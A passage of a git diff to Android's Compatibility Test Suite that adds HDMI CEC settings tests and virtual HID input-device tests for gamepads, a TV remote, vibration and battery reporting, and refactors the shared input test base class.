+            if (!notifyLatch1.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS)) {
+                fail("Timed out waiting for the notify callback");
+            }
+            mHdmiControlManager.removeHdmiCecEnabledChangeListener(listener);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            notifyLatch2.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS);
+            assertThat(notifyLatch2.getCount()).isEqualTo(1);
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecVersion() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecVersion();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+                mHdmiControlManager.setHdmiCecVersion(value);
+                assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecVersion(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerControlMode() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerControlMode();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+                mHdmiControlManager.setPowerControlMode(value);
+                assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerControlMode(originalValue);
+            assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerStateChangeOnActiveSourceLost() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerStateChangeOnActiveSourceLost();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+                mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(value);
+                assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                        value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(originalValue);
+            assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                    originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_SystemAudioModeMuting() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getSystemAudioModeMuting();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+                mHdmiControlManager.setSystemAudioModeMuting(value);
+                assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setSystemAudioModeMuting(originalValue);
+            assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(originalValue);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/hdmi/cts/OWNERS b/tests/tests/hardware/src/android/hardware/hdmi/cts/OWNERS
new file mode 100644
index 0000000..9d05960
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/hdmi/cts/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 826094
+marvinramin@google.com
+nchalko@google.com
diff --git a/tests/tests/hardware/src/android/hardware/input/OWNERS b/tests/tests/hardware/src/android/hardware/input/OWNERS
index 0313a40..b0a2050 100644
--- a/tests/tests/hardware/src/android/hardware/input/OWNERS
+++ b/tests/tests/hardware/src/android/hardware/input/OWNERS
@@ -1,2 +1,4 @@
+# Bug component:136048
+lzye@google.com
 michaelwr@google.com
 svv@google.com
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputAssistantActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputAssistantActivity.java
new file mode 100644
index 0000000..59a4bef
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputAssistantActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class InputAssistantActivity extends Activity {
+    private static final String TAG = "InputAssistantActivity";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
index 028b18e..5133406 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -18,13 +18,17 @@
 
 import android.app.Activity;
 import android.os.Bundle;
+import android.util.Log;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
+import java.util.ArrayList;
+
 public class InputCtsActivity extends Activity {
     private static final String TAG = "InputCtsActivity";
 
     private InputCallback mInputCallback;
+    private final ArrayList<Integer> mUnhandledKeys = new ArrayList<>();
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -57,6 +61,11 @@
 
     @Override
     public boolean dispatchKeyEvent(KeyEvent ev) {
+        // Do not handle keys in UnhandledKeys list, let it fallback
+        if (mUnhandledKeys.contains(ev.getKeyCode())) {
+            Log.i(TAG, "Unhandled keyEvent: "  + ev);
+            return false;
+        }
         if (mInputCallback != null) {
             mInputCallback.onKeyEvent(ev);
         }
@@ -66,4 +75,12 @@
     public void setInputCallback(InputCallback callback) {
         mInputCallback = callback;
     }
+
+    public void addUnhandleKeyCode(int keyCode) {
+        mUnhandledKeys.add(keyCode);
+    }
+
+    public void clearUnhandleKeyCode() {
+        mUnhandledKeys.clear();
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
index 943a9fa..ed6bede 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
@@ -26,7 +26,7 @@
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
-public class AsusGamepadTest extends InputTestCase {
+public class AsusGamepadTest extends InputHidTestCase {
     public AsusGamepadTest() {
         super(R.raw.asus_gamepad_register);
     }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GameviceGv186Test.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GameviceGv186Test.java
new file mode 100644
index 0000000..89a2d8c
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GameviceGv186Test.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import static org.junit.Assert.assertEquals;
+
+import android.hardware.cts.R;
+import android.view.MotionEvent;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class GameviceGv186Test extends InputHidTestCase {
+    private static final float TOLERANCE = 0.005f;
+
+    public GameviceGv186Test() {
+        super(R.raw.gamevice_gv186_register);
+    }
+
+    @Override
+    void assertAxis(String testCase, MotionEvent expectedEvent, MotionEvent actualEvent) {
+        for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+            // Skip checking AXIS_GENERIC_1 and AXIS_GENERIC_2, this device has HID usage of DPAD
+            // which maps to HAT1X and HAT1Y, which have non zero axes values always.
+            if (axis == MotionEvent.AXIS_GENERIC_1 || axis == MotionEvent.AXIS_GENERIC_2) {
+                continue;
+            }
+            assertEquals(testCase + " (" + MotionEvent.axisToString(axis) + ")",
+                    expectedEvent.getAxisValue(axis), actualEvent.getAxisValue(axis), TOLERANCE);
+        }
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.gamevice_gv186_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.gamevice_gv186_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
new file mode 100755
index 0000000..4200bc4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GoogleAtvReferenceRemoteControlTest extends InputHidTestCase {
+
+    // Exercises the Bluetooth behavior of the ATV reference remote control
+    public GoogleAtvReferenceRemoteControlTest() {
+        super(R.raw.google_atvreferenceremote_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.google_atvreferenceremote_keyeventtests);
+    }
+
+    /**
+     * We cannot test the home key using "testAllKeys" because the home key does not get forwarded
+     * to apps, and therefore cannot be received in InputCtsActivity.
+     * Instead, we rely on the home button behavior check using the wm utils.
+     */
+    @Test
+    public void testHomeKey() {
+        testInputEvents(R.raw.google_atvreferenceremote_homekey);
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+        wmStateHelper.waitForHomeActivityVisible();
+        wmStateHelper.assertHomeActivityVisible(true);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
new file mode 100644
index 0000000..df05c15
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -0,0 +1,343 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.hardware.Battery;
+import android.hardware.input.InputManager;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.Vibrator.OnVibratorStateChangedListener;
+import android.util.Log;
+import android.view.InputDevice;
+
+import com.android.cts.input.HidBatteryTestData;
+import com.android.cts.input.HidDevice;
+import com.android.cts.input.HidResultData;
+import com.android.cts.input.HidTestData;
+import com.android.cts.input.HidVibratorTestData;
+
+import org.junit.Rule;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+public class InputHidTestCase extends InputTestCase {
+    private static final String TAG = "InputHidTestCase";
+    // Sync with linux uhid_event_type::UHID_OUTPUT
+    private static final byte UHID_EVENT_TYPE_UHID_OUTPUT = 6;
+    private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
+
+    private HidDevice mHidDevice;
+    private int mDeviceId;
+    private final int mRegisterResourceId;
+
+    @Rule
+    public MockitoRule rule = MockitoJUnit.rule();
+    @Mock
+    private OnVibratorStateChangedListener mListener;
+
+    InputHidTestCase(int registerResourceId) {
+        super(registerResourceId);
+        mRegisterResourceId = registerResourceId;
+    }
+
+    /**
+     * Get a vibrator from input device with specified Vendor Id and Product Id
+     * from device registration command.
+     * @return Vibrator object in specified InputDevice
+     */
+    private Vibrator getVibrator() {
+        final InputManager inputManager =
+                mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        final int[] inputDeviceIds = inputManager.getInputDeviceIds();
+        final int vid = mParser.readVendorId(mRegisterResourceId);
+        final int pid = mParser.readProductId(mRegisterResourceId);
+
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = inputManager.getInputDevice(inputDeviceId);
+            Vibrator vibrator = inputDevice.getVibrator();
+            if (vibrator.hasVibrator() && inputDevice.getVendorId() == vid
+                    && inputDevice.getProductId() == pid) {
+                return vibrator;
+            }
+        }
+        fail("getVibrator() returns null");
+        return null;
+    }
+
+    /**
+     * Get a battery from input device with specified Vendor Id and Product Id
+     * from device registration command.
+     * @return Battery object in specified InputDevice
+     */
+    private Battery getBattery() {
+        final InputManager inputManager =
+                mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        final int[] inputDeviceIds = inputManager.getInputDeviceIds();
+        final int vid = mParser.readVendorId(mRegisterResourceId);
+        final int pid = mParser.readProductId(mRegisterResourceId);
+
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = inputManager.getInputDevice(inputDeviceId);
+            Battery battery = inputDevice.getBattery();
+            if (battery.hasBattery() && inputDevice.getVendorId() == vid
+                    && inputDevice.getProductId() == pid) {
+                return battery;
+            }
+        }
+        fail("getBattery() returns null");
+        return null;
+    }
+
+    @Override
+    protected void setUpDevice(int id, int vendorId, int productId, int sources,
+            String registerCommand) {
+        mDeviceId = id;
+        mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId, sources,
+                registerCommand);
+        assertNotNull(mHidDevice);
+    }
+
+    @Override
+    protected void tearDownDevice() {
+        if (mHidDevice != null) {
+            mHidDevice.close();
+        }
+    }
+
+    @Override
+    protected void testInputDeviceEvents(int resourceId) {
+        List<HidTestData> tests = mParser.getHidTestData(resourceId);
+
+        for (HidTestData testData: tests) {
+            mCurrentTestCase = testData.name;
+
+            // Send all of the HID reports
+            for (int i = 0; i < testData.reports.size(); i++) {
+                final String report = testData.reports.get(i);
+                mHidDevice.sendHidReport(report);
+            }
+            verifyEvents(testData.events);
+
+        }
+    }
+
+    private boolean verifyReportData(HidVibratorTestData test, HidResultData result) {
+        for (Map.Entry<Integer, Integer> entry : test.verifyMap.entrySet()) {
+            final int index = entry.getKey();
+            final int value = entry.getValue();
+            if ((result.reportData[index] & 0XFF) != value) {
+                Log.v(TAG, "index=" + index + " value= " + value
+                        + "actual= " + (result.reportData[index] & 0XFF));
+                return false;
+            }
+        }
+        final int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+        final int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+
+        return ffLeft > 0 && ffRight > 0;
+    }
+
+    public void testInputVibratorEvents(int resourceId) {
+        final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
+
+        for (HidVibratorTestData test : tests) {
+            assertEquals(test.durations.size(), test.amplitudes.size());
+            assertTrue(test.durations.size() > 0);
+
+            final long timeoutMills;
+            final long totalVibrations = test.durations.size();
+            final VibrationEffect effect;
+            if (test.durations.size() == 1) {
+                long duration = test.durations.get(0);
+                int amplitude = test.amplitudes.get(0);
+                effect = VibrationEffect.createOneShot(duration, amplitude);
+                // Set timeout to be 2 times of the effect duration.
+                timeoutMills = duration * 2;
+            } else {
+                long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+                int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+                effect = VibrationEffect.createWaveform(
+                    durations, amplitudes, -1);
+                // Set timeout to be 2 times of the effect total duration.
+                timeoutMills = Arrays.stream(durations).sum() * 2;
+            }
+
+            final Vibrator vibrator = getVibrator();
+            assertNotNull(vibrator);
+            vibrator.addVibratorStateListener(mListener);
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(false);
+            reset(mListener);
+            // Start vibration
+            vibrator.vibrate(effect);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(true);
+            assertTrue(vibrator.isVibrating());
+
+            final long startTime = SystemClock.elapsedRealtime();
+            List<HidResultData> results = new ArrayList<>();
+            int vibrationCount = 0;
+            // Check the vibration ffLeft and ffRight amplitude to be expected.
+            while (vibrationCount < totalVibrations
+                    && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+                SystemClock.sleep(1000);
+                try {
+                    results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+                    if (results.size() < totalVibrations) {
+                        continue;
+                    }
+                    vibrationCount = 0;
+                    for (int i = 0; i < results.size(); i++) {
+                        HidResultData result = results.get(i);
+                        if (result.deviceId == mDeviceId && verifyReportData(test, result)) {
+                            int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+                            int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+                            Log.v(TAG, "eventId=" + result.eventId + " reportType="
+                                    + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+                            // Check the amplitudes of FF effect are expected.
+                            if (ffLeft == test.amplitudes.get(vibrationCount)
+                                    && ffRight == test.amplitudes.get(vibrationCount)) {
+                                vibrationCount++;
+                            }
+                        }
+                    }
+                } catch (IOException ex) {
+                    throw new RuntimeException("Could not get JSON results from HidDevice");
+                }
+            }
+            assertEquals(vibrationCount, totalVibrations);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(false);
+            assertFalse(vibrator.isVibrating());
+            vibrator.removeVibratorStateListener(mListener);
+            reset(mListener);
+        }
+    }
+
+    public void testInputVibratorManagerEvents(int resourceId) {
+        final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
+
+        for (HidVibratorTestData test : tests) {
+            assertEquals(test.durations.size(), test.amplitudes.size());
+            assertTrue(test.durations.size() > 0);
+
+            final long timeoutMills;
+            final long totalVibrations = test.durations.size();
+            final VibrationEffect effect;
+            if (test.durations.size() == 1) {
+                long duration = test.durations.get(0);
+                int amplitude = test.amplitudes.get(0);
+                effect = VibrationEffect.createOneShot(duration, amplitude);
+                // Set timeout to be 2 times of the effect duration.
+                timeoutMills = duration * 2;
+            } else {
+                long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+                int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+                effect = VibrationEffect.createWaveform(
+                    durations, amplitudes, -1);
+                // Set timeout to be 2 times of the effect total duration.
+                timeoutMills = Arrays.stream(durations).sum() * 2;
+            }
+
+            final Vibrator vibrator = getVibrator();
+            assertNotNull(vibrator);
+            // Start vibration
+            vibrator.vibrate(effect);
+            final long startTime = SystemClock.elapsedRealtime();
+            List<HidResultData> results = new ArrayList<>();
+            int vibrationCount = 0;
+            // Check the vibration ffLeft and ffRight amplitude to be expected.
+            while (vibrationCount < totalVibrations
+                    && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+                SystemClock.sleep(1000);
+                try {
+                    results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+                    if (results.size() < totalVibrations) {
+                        continue;
+                    }
+                    vibrationCount = 0;
+                    for (int i = 0; i < results.size(); i++) {
+                        HidResultData result = results.get(i);
+                        if (result.deviceId == mDeviceId && verifyReportData(test, result)) {
+                            int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+                            int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+                            Log.v(TAG, "eventId=" + result.eventId + " reportType="
+                                    + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+                            // Check the amplitudes of FF effect are expected.
+                            if (ffLeft == test.amplitudes.get(vibrationCount)
+                                    && ffRight == test.amplitudes.get(vibrationCount)) {
+                                vibrationCount++;
+                            }
+                        }
+                    }
+                } catch (IOException ex) {
+                    throw new RuntimeException("Could not get JSON results from HidDevice");
+                }
+            }
+            assertEquals(vibrationCount, totalVibrations);
+        }
+    }
+
+    public void testInputBatteryEvents(int resourceId) {
+        final Battery battery = getBattery();
+        assertNotNull(battery);
+
+        final List<HidBatteryTestData> tests = mParser.getHidBatteryTestData(resourceId);
+        for (HidBatteryTestData testData : tests) {
+
+            // Send all of the HID reports
+            for (int i = 0; i < testData.reports.size(); i++) {
+                final String report = testData.reports.get(i);
+                mHidDevice.sendHidReport(report);
+            }
+            // Wait for power_supply sysfs node get updated.
+            SystemClock.sleep(100);
+            float capacity = battery.getCapacity();
+            int status = battery.getStatus();
+            assertEquals("Test: " + testData.name, testData.status, status);
+            boolean capacityMatch = false;
+            for (int i = 0; i < testData.capacities.length; i++) {
+                if (capacity == testData.capacities[i]) {
+                    capacityMatch = true;
+                    break;
+                }
+            }
+            assertTrue("Test: " + testData.name + " capacity " + capacity + " expect "
+                    + Arrays.toString(testData.capacities), capacityMatch);
+        }
+    }
+
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 6239026..a95f8c0 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -32,9 +32,8 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 
-import com.android.cts.input.HidDevice;
-import com.android.cts.input.HidJsonParser;
-import com.android.cts.input.HidTestData;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.input.InputJsonParser;
 
 import org.junit.After;
 import org.junit.Before;
@@ -53,12 +52,12 @@
     private final BlockingQueue<InputEvent> mEvents;
 
     private InputListener mInputListener;
-    private Instrumentation mInstrumentation;
     private View mDecorView;
-    private HidDevice mHidDevice;
-    private HidJsonParser mParser;
+
+    protected Instrumentation mInstrumentation;
+    protected InputJsonParser mParser;
     // Stores the name of the currently running test
-    private String mCurrentTestCase;
+    protected String mCurrentTestCase;
     private int mRegisterResourceId; // raw resource that contains json for registering a hid device
 
     // State used for motion events
@@ -75,22 +74,32 @@
         new ActivityTestRule<>(InputCtsActivity.class);
 
     @Before
-    public void setUp() {
+    public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mActivityRule.getActivity().setInputCallback(mInputListener);
+        mActivityRule.getActivity().clearUnhandleKeyCode();
         mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
-        mParser = new HidJsonParser(mInstrumentation.getTargetContext());
-        int hidDeviceId = mParser.readDeviceId(mRegisterResourceId);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        int deviceId = mParser.readDeviceId(mRegisterResourceId);
         String registerCommand = mParser.readRegisterCommand(mRegisterResourceId);
-        mHidDevice = new HidDevice(mInstrumentation, hidDeviceId, registerCommand);
+        setUpDevice(deviceId, mParser.readVendorId(mRegisterResourceId),
+                mParser.readProductId(mRegisterResourceId),
+                mParser.readSources(mRegisterResourceId), registerCommand);
         mEvents.clear();
     }
 
     @After
-    public void tearDown() {
-        mHidDevice.close();
+    public void tearDown() throws Exception {
+        tearDownDevice();
     }
 
+    // To be implemented by device specific test case.
+    protected abstract void setUpDevice(int id, int vendorId, int productId, int sources,
+            String registerCommand);
+
+    protected abstract void tearDownDevice();
+
+    protected abstract void testInputDeviceEvents(int resourceId);
+
     /**
      * Asserts that the application received a {@link android.view.KeyEvent} with the given
      * metadata.
@@ -111,8 +120,8 @@
         assertSource(mCurrentTestCase, expectedKeyEvent.getSource(), receivedKeyEvent.getSource());
         assertEquals(mCurrentTestCase + " (keycode)",
                 expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
-        assertEquals(mCurrentTestCase + " (meta state)",
-                expectedKeyEvent.getMetaState(), receivedKeyEvent.getMetaState());
+        assertMetaState(mCurrentTestCase, expectedKeyEvent.getMetaState(),
+                receivedKeyEvent.getMetaState());
     }
 
     private void assertReceivedMotionEvent(@NonNull MotionEvent expectedEvent) {
@@ -146,9 +155,24 @@
                     mLastButtonState ^ event.getButtonState(), event.getActionButton());
             mLastButtonState = event.getButtonState();
         }
-        for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
-            assertEquals(mCurrentTestCase + " (" + MotionEvent.axisToString(axis) + ")",
-                    expectedEvent.getAxisValue(axis), event.getAxisValue(axis), TOLERANCE);
+        assertAxis(mCurrentTestCase, expectedEvent, event);
+    }
+
+    /**
+     * Asserts motion event axis values. Separate this into a different method to allow individual
+     * test case to specify it.
+     *
+     * @param expectedSource expected source flag specified in JSON files.
+     * @param actualSource actual source flag received in the test app.
+     */
+    void assertAxis(String testCase, MotionEvent expectedEvent, MotionEvent actualEvent) {
+        for (int i = 0; i < actualEvent.getPointerCount(); i++) {
+            for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+                assertEquals(testCase + " pointer " + i
+                        + " (" + MotionEvent.axisToString(axis) + ")",
+                        expectedEvent.getAxisValue(axis, i), actualEvent.getAxisValue(axis, i),
+                        TOLERANCE);
+            }
         }
     }
 
@@ -164,6 +188,17 @@
     }
 
     /**
+     * Asserts meta states. Separate this into a different method to allow individual test case to
+     * specify it.
+     *
+     * @param expectedMetaState expected meta state specified in JSON files.
+     * @param actualMetaState actual meta state received in the test app.
+     */
+    void assertMetaState(String testCase, int expectedMetaState, int actualMetaState) {
+        assertEquals(testCase + " (meta state)", expectedMetaState, actualMetaState);
+    }
+
+    /**
      * Assert that no more events have been received by the application.
      *
      * If any more events have been received by the application, this will cause failure.
@@ -177,66 +212,71 @@
         failWithMessage("extraneous events generated: " + event);
     }
 
-    protected void testInputEvents(int resourceId) {
-        List<HidTestData> tests = mParser.getTestData(resourceId);
-
-        for (HidTestData testData: tests) {
-            mCurrentTestCase = testData.name;
-
-            // Send all of the HID reports
-            for (int i = 0; i < testData.reports.size(); i++) {
-                final String report = testData.reports.get(i);
-                mHidDevice.sendHidReport(report);
+    protected void verifyEvents(List<InputEvent> events) {
+        mActivityRule.getActivity().setInputCallback(mInputListener);
+        // Make sure we received the expected input events
+        if (events.size() == 0) {
+            // If no event is expected we need to wait for event until timeout and fail on
+            // any unexpected event received caused by the HID report injection.
+            InputEvent event = waitForEvent();
+            if (event != null) {
+                fail(mCurrentTestCase + " : Received unexpected event " + event);
             }
-
-            // Make sure we received the expected input events
-            for (int i = 0; i < testData.events.size(); i++) {
-                final InputEvent event = testData.events.get(i);
-                try {
-                    if (event instanceof MotionEvent) {
-                        assertReceivedMotionEvent((MotionEvent) event);
-                        continue;
-                    }
-                    if (event instanceof KeyEvent) {
-                        assertReceivedKeyEvent((KeyEvent) event);
-                        continue;
-                    }
-                } catch (AssertionError error) {
-                    throw new AssertionError("Assertion on entry " + i + " failed.", error);
-                }
